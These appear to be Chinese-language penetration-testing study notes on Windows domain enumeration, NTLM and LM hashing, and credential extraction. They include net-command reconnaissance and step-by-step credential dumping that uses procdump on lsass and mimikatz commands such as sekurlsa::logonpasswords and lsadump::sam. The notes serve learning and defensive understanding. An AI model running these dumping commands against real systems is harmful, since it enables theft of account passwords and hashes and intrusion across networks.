域基础信息搜集
ping 域名
ipconfig /all 判断当前是否在域环境中,看dns后缀和dns服务器
net view 查看本工作组/域环境中的设备
关闭防火墙
开启服务
net view /domain 查询域数量
net view | net view /domain:域名 查询主机数量
net group /domain 域控组别信息
net group "domain admins" /domain 查看域控管理员组的成员
域内高权限组
Domain Admins 域控管理员组(高权限)
Domain Computers 加入域内的主机成员
Domain Controllers 域控(高权限)
Domain Users 域内普通用户
Enterprise Admins 企业管理员(高权限)
net time /domain 查看系统时间
systeminfo | findstr “KB” 查看补丁信息
SID
sid: whoami /user 查看SID
500:administrator
501:guest
1000+:普通用户
#SID也就是安全标识符(Security Identifiers),是标识用户、组和计算机帐户的唯一的号码。在第一次创建该帐户时,将给网络上的每一个帐户发布一个唯一的 SID。Windows 2000 中的内部进程将引用帐户的 SID 而不是帐户的用户或组名。如果创建帐户,再删除帐户,然后使用相同的用户名创建另一个帐户,则新帐户将不具有授权给前一个帐户的权力或权限,原因是该帐户具有不同的 SID 号。安全标识符也被称为安全 ID 或 SID。
#S-1-5-21-15631306-761508637-3840666680-500
#s dai表sid
#1 代表当前sid版本
#5 固定的
#21 在主机中基本都是21
#在同一个域捏,中间的三个长长的部分是一样的
windows本地认证
SAM文件路径
C:\Windows\System32\config/SAM
winlogin和lsass概念
当我们登录系统(winlogin.exe)的时候,系统会自动读取SAM文件中的“密码”与我们输入(lsass.exe对输入的内容进行比对)的“密码”进行比对 ,如果相同,证明认证成功!!!---SAM文件不能被取走(你拷贝的时候就是会提醒你文件正在使用中)。
windows除了输入的时候密码是明文的,其他的是时候都是以密文的形式存在。进行比对的是时候也是先将其转化成NTLM hash值,在与sam数据库进行比对认证。
Windows Loqon Process(即winlogon.exe),是Windows NT用户登陆程序,用于管理用户登录和退出。LSASS用于微软Windows系统的安全机制。它用于本地安全和登陆策略。
NTLM
NTLM Hash是支持Net NTLM认证协议及本地认证过程中的一个重要参与物,其长度为32位,由数字与字母组成。
Windows本身不存储用户的明文密码,它会将用户的明文密码经过加密算法后存储在SAM数据库中。
当用户登录时,将用户输入的明文密码也加密成NTLM Hash,与SAM数据库中的NTLM Hash进行比较。NTLM Hash的前身是LMHash,目前基本淘汰,但是还是存在。XP和2003。
转换实例admin=》209c6174da490caeb422f3fa5a7ae634
admin -> hex(16进制编码)=61646d696e
61646d696e -> Unicode => 610064006d0069006eO0
610064006d0069006e00 ->MD4=>209c6174da490caeb422f3fa5a7ae634
LM Hash
在NTLM协议问世之前,它的前身就是LM(LAN Manager)协议。
LM Hash是 AAD3B435B51404EEAAD3B435B51404EE 这表示空密码或者是未使用LM_HASH
windows下的HASH密码格式
用户名称:SID:LM-HASH值:NTLM-HASH
例:Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::
Hash一般存储在两个地方:
①SAM文件,存储在本机 对应本地用户
②NTDS.DIT文件,存储在域控上 对应域用户
windows网络认证
工作组环境:在内网渗透中,经常遇到工作组环境,而工作组环境是一个逻辑上的网络环境(工作区),隶属于工作组的机器之间无法互相建立一个完美的信任机制,只能点对点,是比较落后的认证方式,没有信托机构。假设A主机与B主机属于同一个工作组环境,A想访问B主机上的资料,需要将一个存在于B主机上的账户凭证发送至B主机,经过认证才能够访问B主机.上的资源。(常见服务,SMB-445)
早期SMB协议在网络上传输明文口令。后来出现LAN Manager ChallengelResponse 验证机制,简称LM。但是容易被破解。因此微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。
NTLM
协商
主要用于确认双方协议版本(NTLM v1/NTLM V2),windows7以上停用版本v1
质询
就是挑战(Challenge)/响应(Response)认证机制起作用的范畴
验证
验证主要是在质询完成后,验证结果,是认证的最后一步
Challenge1和Response的表现形式都是Net-NTLM Hash
NTLM Hash 全程不会发送,只参与加密(Why):保护NTLM Hash不外泄
理解:
当自己的主机去向服务器发送一个用户名请求的时候,服务器会查看你自己的本地账户列表是否有这个用户名,有的话就生成一个16位的随机数位challenge(挑战)。然后用challenge对NTLM-hash值(加密的密码)进行加密,生成一个challenge1存在内存当中,并把challenge发给我们的主机。主机收到之后,也用challenge对NTLM-hash进行加密,生成一个Response并且发送给服务器。然后服务器就会把challenge1和Response进行比较。一样的话就是认证通过。
NTLM v1 与 NTLM v2
Challage: NTLM v1的Challenge有8位,NTLM v2的Challenge为16位。
Net-NTLM Hash: NTLM v1的主要加密算法是DES,NTLM v2的主要加密算法是HMAC-MD5。
NTLM v1与NTLM v2最显著的区别就是Challenge与加密算法不同,共同点就是加密的原料都是NTLM Hash。
NTLM v1 的加密方式为DES , NTLM v2的加密方式为HMAC-MD5
Procdump
简介
Procdump是一个轻量级的Sysinternal团队开发的命令行工具, 它的主要目的是监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件, 供研发人员和管理员确定问题发生的原因. 你还可以把它作为生成dump的工具使用在其他的脚本中。
关于Procdump和mimikatz的使用思路:
windows密码导出分为两种方式,一种是在内存中读取,还有一种是读取sam文件。Procdump用的是内存中读取的方式,导出一个后缀名为.dmp的文件,然后放到mimikatz中进行读取
下载地址
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
操作
参数
-ma 写一个完整的转储文件。包括所有的内存信息。
-accepteula 自动接收内部授权协议
-h 帮助手册
cd C:\Users\Administrator\Desktop\Procdump
#先进入到该文件夹中
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
#把内存当中的HASH导入到本地,并命名为lsass.dmp
要以管理员的身份运行,不然会报错
Mimikatz
下载地址
https://github.com/ParrotSec/mimikatz
常用命令
mimikatz# :: 查看帮助手册
mimikatz# log 记录所得到的信息
mimikatz# hostname 查看主机名
privilege::debug 提升到特权
mimikatz#sekurlsa::msv #读取内存的HASH智
mimikatz# sekurlsa::minidump lsass.dmp 切换环境
mimikatz# sekurlsa::logonpasswords 列出所有可用的凭据
kerberos::list #列出票据
kerberos::purge #清除票据
lsadump::sam 查看sam文件内容获取用户名和NTLM hash
lsadump::secrets 获取当前用户密码
sekurlsa::logonpasswords 获取所有账户密码(比procdump的使用更简单)
sekurlsa::kerberos 获取kerberos认证信息(账户密码等),域内
process::start command 启动进程
process::stop command 结束进程
process::list 列出进程
读取sam文件密码
方法一:利用procdump导下来的dump文件
mimikatz# :: 查看帮助手册
mimikatz# log 记录所得到的信息
#Using 'mimikatz.log' for logfile : OK 表示使用成功,可以看到在文件夹中多了一个mimikatz.log文件。等下在mimikatz中的所有操作都会被记录在这个文件中
#log文件时一次性的,你下次要是还想用log进行读取就还得开启他的这个功能
mimikatz# sekurlsa::minidump lsass.dmp 切换环境
mimikatz# sekurlsa::logonpasswords 列出所有可用的凭据
方法二: 直接利用minikatz(需要管理权限)
mimikata# log 记录所得到的信息
mimikatz # privilege::debug //提权
mimikatz # sekurlsa::msv //提取内存的HASH值
mimikatz# sekurlsa::logonpasswords 列出所有可用的凭据
报错
1.读取不了win11的密码,导出来后读取就报错,不是权限的问题。尝试过好几个新版本的也不行,两个方法都读取不了win11。
2.读取win10的时候密码是空的,在 windows 10 / 2012r2 之后的系统版本中已禁⽤在内存缓存中存系统⽤户明⽂密码